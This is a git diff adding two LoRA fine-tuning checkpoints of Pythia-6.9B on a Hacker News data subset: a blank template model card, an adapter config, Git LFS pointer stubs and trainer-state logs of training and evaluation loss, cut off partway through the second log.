a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..bef86bfb050bf1f04d92966566185eff40bdd863 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e2b3a3614ba93e304ff3f039ede45def16fe3796e626458484d813be3a07061c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..21d60eeaf8923e6a97c832be2a2b0eb9c813075b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:940e98b4061ea651e51e805623bba5330dc580d19331ee2d814aacc22bf57448 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..a5b4503b006d8dec33c7a086d3d007eef4282144 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a82d768c5f5c231c8b50481a409281b8639e231a185281a7476164488eb6c27f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..58f0265f6abd6b6684c5edee08f03cf244492dc5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f67fc10f846f52b9c0359f08a436d3ebec080f189f60c98def04956b2dc83cd7 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a64dad9ec3bc2ae697e614c24a792f87de59825a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json @@ -0,0 +1,498 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.133333333333334, + "eval_steps": 10, + "global_step": 310, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.07968231571456e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b45a62844315ecd04b13f9d9677a3021fe36ad93 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cbc54323609531cae79ac131e7d1a490ae99deff93f2296156e27d3dacd2e834 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..e2d99bca8785b4c5620c574b45a50d721ff244d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1c3a8bf260d4d7a7957b81a6173641f52c6d24687dd42127e65d0dbe832a8eab +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f5fbaf3739704eea759ab29b4b9eba0fecf79ee6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4f581763059f9808c6971d543bee5e034fff1a9ec174cb7aa232dd9f17099da0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0f02c233f432413573681087f8ebce358efeb676 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ae2093149925b534f5c60211635bf0097e5b3bf50dc856b0e3f5b17717e52497 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..feab51b8687e6e38df69550b6ca778e8d3574fb8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json @@ -0,0 +1,513 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.266666666666667, + "eval_steps": 10, + "global_step": 320, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + 